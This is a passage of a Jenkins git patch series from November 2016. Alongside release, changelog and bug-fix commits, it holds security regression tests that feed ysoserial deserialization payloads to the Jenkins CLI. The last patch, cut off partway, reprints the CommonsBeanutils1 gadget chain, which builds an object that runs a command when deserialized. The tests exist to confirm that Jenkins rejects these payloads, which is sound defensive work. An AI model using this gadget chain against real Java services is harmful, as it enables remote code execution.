THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.util.concurrent.Callable; -- GitLab From 594ffcec022daef3b40469d7f38be171f621c3e4 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 18:50:35 -0500 Subject: [PATCH 321/712] Fix quirks in the tests --- test/src/test/java/jenkins/security/Security218CliTest.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index d2dbe56a6d..feb42e4c0d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -101,7 +101,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeFileUpload1() throws Exception { - probe(Payload.FileUpload1, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.FileUpload1, -1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -129,7 +129,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeJRMPListener() throws Exception { - probe(Payload.JRMPListener, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.JRMPListener, -1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) -- GitLab From d42c39c93a8c45a95242d87df76158a157da0435 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 19:45:01 -0500 Subject: [PATCH 322/712] Add explanation for spring tests --- test/src/test/java/jenkins/security/Security218CliTest.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index feb42e4c0d..48b35b8363 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -32,6 +32,7 @@ import java.io.File; import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; +import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -146,6 +147,8 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeSpring1() throws Exception { + // Reason it is -1 is that it is testing a test that is not in our version of Spring + // Caused by: java.lang.ClassNotFoundException: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler probe(Payload.Spring1, -1); } @@ -153,6 +156,8 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeSpring2() throws Exception { + // Reason it is -1 is that it is testing a test that is not in our version of Spring 4 + // Caused by: java.lang.ClassNotFoundException: org.springframework.core.SerializableTypeWrapper$TypeProvider probe(Payload.Spring2, -1); } -- GitLab From 6078dd7aa097baf3402de9d5279f6053926a1ea7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 17:06:08 -0800 Subject: [PATCH 323/712] [SECURITY-360] integration test Make sure LDAPAttribute gets rejected. --- pom.xml | 2 +- .../jenkins/security/Security218CliTest.java | 9 +++++++ .../jenkins/security/security218/Payload.java | 7 +++--- .../security218/ysoserial/payloads/Ldap.java | 24 +++++++++++++++++++ 4 files changed, 38 insertions(+), 4 deletions(-) create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java diff --git a/pom.xml b/pom.xml index 9c5d559d77..a97f995fa1 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.3-20160211.162333-3 + 2.53.2 diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 48b35b8363..0d405fda0d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -161,6 +161,15 @@ public class Security218CliTest { probe(Payload.Spring2, -1); } + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-360") + public void ldap() throws Exception { + // with a proper fix, this should fail with EXIT_CODE_REJECTED + // otherwise this will fail with -1 exit code + probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index ea3c30b8ac..a08186ba3d 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -24,7 +24,6 @@ package jenkins.security.security218; import jenkins.security.security218.ysoserial.payloads.*; -import net.sf.json.JSON; /** @@ -46,8 +45,10 @@ public enum Payload { JRMPListener(JRMPListener.class), JSON1(JSON1.class), Spring1(Spring1.class), - Spring2(Spring2.class); - + Spring2(Spring2.class), + Ldap(Ldap.class), + ; + private final Class payloadClass; private Payload(Class payloadClass) { diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java new file mode 100644 index 0000000000..8124938437 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java @@ -0,0 +1,24 @@ +package jenkins.security.security218.ysoserial.payloads; + +import jenkins.security.security218.ysoserial.util.PayloadRunner; + +import java.lang.reflect.Constructor; + +/** + * @author Kohsuke Kawaguchi + */ +public class Ldap extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + // this is not a fully exploit, so we cannot honor the command, + // but we want to check that we are blocking LdapAttribute + Class c = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor ctr = c.getDeclaredConstructor(String.class); + ctr.setAccessible(true); + return ctr.newInstance("foo"); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Ldap.class, args); + } +} -- GitLab From b2eed3002dcbcd06a41789c360c497c055a7edb9 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 18:02:40 -0800 Subject: [PATCH 324/712] Because of JENKINS-32273 change in 1.649, exit code changes --- .../java/jenkins/security/Security218CliTest.java | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 48b35b8363..56b9e3edde 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -102,7 +102,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeFileUpload1() throws Exception { - probe(Payload.FileUpload1, -1); + probe(Payload.FileUpload1, 3); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -130,7 +130,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeJRMPListener() throws Exception { - probe(Payload.JRMPListener, -1); + probe(Payload.JRMPListener, 3); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -147,18 +147,18 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeSpring1() throws Exception { - // Reason it is -1 is that it is testing a test that is not in our version of Spring + // Reason it is 1 is that it is testing a test that is not in our version of Spring // Caused by: java.lang.ClassNotFoundException: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler - probe(Payload.Spring1, -1); + probe(Payload.Spring1, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-317") public void probeSpring2() throws Exception { - // Reason it is -1 is that it is testing a test that is not in our version of Spring 4 + // Reason it is 1 is that it is testing a test that is not in our version of Spring 4 // Caused by: java.lang.ClassNotFoundException: org.springframework.core.SerializableTypeWrapper$TypeProvider - probe(Payload.Spring2, -1); + probe(Payload.Spring2, 1); } private void probe(Payload payload, int expectedResultCode) throws Exception { -- GitLab From f1fd60f74d3f70c0e633fafa7b736ae693e232e6 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 07:01:54 -0800 Subject: [PATCH 325/712] Remoting jar round #2 --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 4e6908020a..cb9aa761ae 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4-20161112.024902-1 + 2.53.4-20161113.144816-2 -- GitLab From b6995f9901c7f6529940b5a084bc48986c327819 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 13 Nov 2016 18:14:32 +0100 Subject: [PATCH 326/712] =?UTF-8?q?@kohsuke=E2=80=99s=208cde4eb=20incorrec?= =?UTF-8?q?tly=20resolved=20a=20merge=20conflict,=20reverting=20a=20bit=20?= =?UTF-8?q?of=207493468.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/pom.xml | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/test/pom.xml b/test/pom.xml index 59883a3820..31b614b97e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -168,16 +168,6 @@ THE SOFTWARE. reflections 0.9.9 - - org.netbeans.modules - org-netbeans-insane - RELEASE72 - - - com.github.stephenc.findbugs - findbugs-annotations - 1.3.9-1 - org.codehaus.geb geb-implicit-assertions -- GitLab From 594b9f715cba714a161d38c37e72753a2f1bdc65 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 13 Nov 2016 19:47:43 +0100 Subject: [PATCH 327/712] Stop storing three identical copies of remoting.jar in jenkins.war. --- core/src/main/java/hudson/model/Slave.java | 6 +++++- war/pom.xml | 12 ------------ 2 files changed, 5 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/model/Slave.java b/core/src/main/java/hudson/model/Slave.java index 4eb813f6eb..38a7d09a5c 100644 --- a/core/src/main/java/hudson/model/Slave.java +++ b/core/src/main/java/hudson/model/Slave.java @@ -32,6 +32,8 @@ import hudson.Launcher.RemoteLauncher; import hudson.Util; import hudson.model.Descriptor.FormException; import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Which; import hudson.slaves.CommandLauncher; import hudson.slaves.ComputerLauncher; import hudson.slaves.DumbSlave; @@ -373,7 +375,7 @@ public abstract class Slave extends Node implements Serializable { return res.openConnection(); } - public URL getURL() throws MalformedURLException { + public URL getURL() throws IOException { String name = fileName; // Prevent the access to war contents & prevent the folder escaping (SECURITY-195) @@ -383,6 +385,8 @@ public abstract class Slave extends Node implements Serializable { if (name.equals("hudson-cli.jar")) { name="jenkins-cli.jar"; + } else if (name.equals("slave.jar") || name.equals("remoting.jar")) { + name = "lib/" + Which.jarFile(Channel.class).getName(); } URL res = Jenkins.getInstance().servletContext.getResource("/WEB-INF/" + name); diff --git a/war/pom.xml b/war/pom.xml index 4da5f76729..4edc908279 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -247,18 +247,6 @@ THE SOFTWARE. - - ${project.groupId} - remoting - ${project.build.directory}/${project.build.finalName}/WEB-INF - remoting.jar - - - ${project.groupId} - remoting - ${project.build.directory}/${project.build.finalName}/WEB-INF - slave.jar - ${project.groupId} cli -- GitLab From b379e7735661c2ef5a8d5078af68fa8ffd855954 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 11:23:59 -0800 Subject: [PATCH 328/712] Released version --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index cb9aa761ae..f57a3b6345 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4-20161113.144816-2 + 2.53.4 -- GitLab From 91ad59214234e7724d586f64f8fb6db35104857b Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 22:39:04 +0100 Subject: [PATCH 329/712] [FIXED JENKINS-38721, JENKINS-37282] - NPE in "CauseOfInterruption.UserInterruption" when user is missing (#2630) * [FIXED JENKINS-38721] - Prevent NPE during rendering of "CauseOfInterruption.UserInterruption" when user is missing It is a regression introduced in JENKINS-36594 * [JENKINS-38721] - Fix typo --- .../jenkins/model/CauseOfInterruption.java | 35 +++++++++++++++++-- .../UserInterruption/summary.groovy | 7 +++- .../UserInterruption/summary.properties | 3 +- .../UserInterruption/summary_ja.properties | 3 +- .../UserInterruption/summary_pl.properties | 3 +- .../UserInterruption/summary_sr.properties | 3 +- .../UserInterruption/summary_zh_TW.properties | 1 + 7 files changed, 47 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 81dd16111d..557110f239 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -33,6 +33,7 @@ import org.kohsuke.stapler.export.ExportedBean; import java.io.Serializable; import java.util.Collections; import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; /** * Records why an {@linkplain Executor#interrupt() executor is interrupted}. @@ -74,18 +75,46 @@ public abstract class CauseOfInterruption implements Serializable { * Indicates that the build was interrupted from UI. */ public static final class UserInterruption extends CauseOfInterruption { + + @Nonnull private final String user; - public UserInterruption(User user) { + public UserInterruption(@Nonnull User user) { this.user = user.getId(); } - public UserInterruption(String userId) { + public UserInterruption(@Nonnull String userId) { this.user = userId; } - @CheckForNull + /** + * Gets ID of the user, who interrupted the build. + * @return User ID + * @since TODO + */ + @Nonnull + public String getUserId() { + return user; + } + + /** + * Gets user, who caused the interruption. + * @return User instance if it can be located. + * Result of {@link User#getUnknown()} otherwise + */ + @Nonnull public User getUser() { + final User userInstance = getUserOrNull(); + return userInstance != null ? userInstance : User.getUnknown(); + } + + /** + * Gets user, who caused the interruption. + * @return User or {@code null} if it has not been found + * @since TODO + */ + @CheckForNull + public User getUserOrNull() { return User.get(user, false, Collections.emptyMap()); } diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy index ec48cb9efa..b75b2386f9 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy @@ -1,4 +1,9 @@ package jenkins.model.CauseOfInterruption.UserInterruption; // by default we just print the short description. -raw(_("blurb",my.user.fullName, rootURL+'/'+my.user.url)) \ No newline at end of file +def user = my.userOrNull +if (user != null) { + raw(_("blurb", user.fullName, rootURL+'/'+user.url)) +} else { + raw(_("userNotFound", my.userId)) +} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties index 1f1f63c2bc..1ada7d261b 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties @@ -1 +1,2 @@ -blurb=Aborted by user {0} \ No newline at end of file +blurb=Aborted by user {0} +userNotFound=Aborted by user {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties index e2d2051a6e..3cd254db98 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties @@ -1 +1,2 @@ -blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad \ No newline at end of file +blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad +userNotFound=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties index 0095ece665..d2c91f76b0 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties @@ -1 +1,2 @@ -blurb=Przerwane przez u\u017Cytkownika {0} \ No newline at end of file +blurb=Przerwane przez u\u017cytkownika {0} +userNotFound=Przerwane przez u\u017cytkownika {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties index b0c8a40e79..a88ce0631c 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -blurb=\u041E\u0442\u043A\u0430\u0437\u0430\u043D\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C {0} \ No newline at end of file +blurb=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} +userNotFound=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties index db91795756..3b2ac62c06 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties @@ -22,3 +22,4 @@ # THE SOFTWARE. blurb=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 +userNotFound=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 -- GitLab From 777dfe99b5755d200267e6f7ae0148f715085dc0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 23:06:32 +0100 Subject: [PATCH 330/712] Noting upgrade to Remoting 3.1 in #2628 --- changelog.html | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7939e12c84..40063928fc 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,30 @@ Upcoming changes

        What's new in 2.30 (2016/11/07)

        -- GitLab From ff31562aa64b269c58b19b1adbe75748d6e45b2e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 23:33:11 +0100 Subject: [PATCH 331/712] Changelog: Noting #2626, #2627, #2612, #2631 and #2630 --- changelog.html | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/changelog.html b/changelog.html index 40063928fc..1a3d183c2b 100644 --- a/changelog.html +++ b/changelog.html @@ -56,10 +56,26 @@ Upcoming changes

        What's new in 2.30 (2016/11/07)

        -- GitLab From 52f14349ab78a2b05039137633a4549d21d5db5c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:43:24 -0800 Subject: [PATCH 332/712] [maven-release-plugin] prepare release jenkins-2.31 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 70f83cbbec..2551535c60 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 cli diff --git a/core/pom.xml b/core/pom.xml index 5e0673544c..bd0f36d90f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 jenkins-core diff --git a/pom.xml b/pom.xml index 6086a96fe4..23eda92d75 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.31 diff --git a/test/pom.xml b/test/pom.xml index f5e72fd4f2..a12f751ff0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 test diff --git a/war/pom.xml b/war/pom.xml index 4da5f76729..6f2ddadfd4 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 jenkins-war -- GitLab From 839f0ac6714e3839cfc2efef3ff4062785f468eb Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:43:24 -0800 Subject: [PATCH 333/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 2551535c60..ec31a80134 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index bd0f36d90f..2a79b95f2c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 23eda92d75..d77f7ff849 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.31 + HEAD diff --git a/test/pom.xml b/test/pom.xml index a12f751ff0..20a8b5d657 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 6f2ddadfd4..aabb0cd6f4 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT jenkins-war -- GitLab From 21c1ee52428eae172c200312aa621b26b9e5b206 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:50:17 -0800 Subject: [PATCH 334/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 1a3d183c2b..9087b27c03 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

        What's new in 2.31 (2016/11/13)

        • Performance: Improve responsiveness of Jenkins web UI on mobile devices. @@ -100,7 +105,6 @@ Upcoming changes Improved Polish translation. (pull 2631)
        -

        What's new in 2.30 (2016/11/07)

        • -- GitLab From 5a163a3b30ba42034bd76b608299d0650ab83196 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 15 Nov 2016 12:43:51 +0100 Subject: [PATCH 335/712] Correcting newlines. --- .../ysoserial/payloads/CommonsBeanutils1.java | 130 +++++++++--------- 1 file changed, 65 insertions(+), 65 deletions(-) diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java index 5ef4762658..b5028c531f 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -1,66 +1,66 @@ -/* - * The MIT License - * - * Copyright (c) 2013 Chris Frohoff - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ - -package jenkins.security.security218.ysoserial.payloads; - -import java.math.BigInteger; -import java.util.PriorityQueue; - -import org.apache.commons.beanutils.BeanComparator; - -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - -@SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutils1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - // mock method name until armed - final BeanComparator comparator = new BeanComparator("lowestSetBit"); - - // create queue with numbers and basic comparator - final PriorityQueue queue = new PriorityQueue(2, comparator); - // stub data for replacement later - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - // switch method called by comparator - Reflections.setFieldValue(comparator, "property", "outputProperties"); - - // switch contents of queue - final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - queueArray[0] = templates; - queueArray[1] = templates; - - return queue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(CommonsBeanutils1.class, args); - } +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.security218.ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final 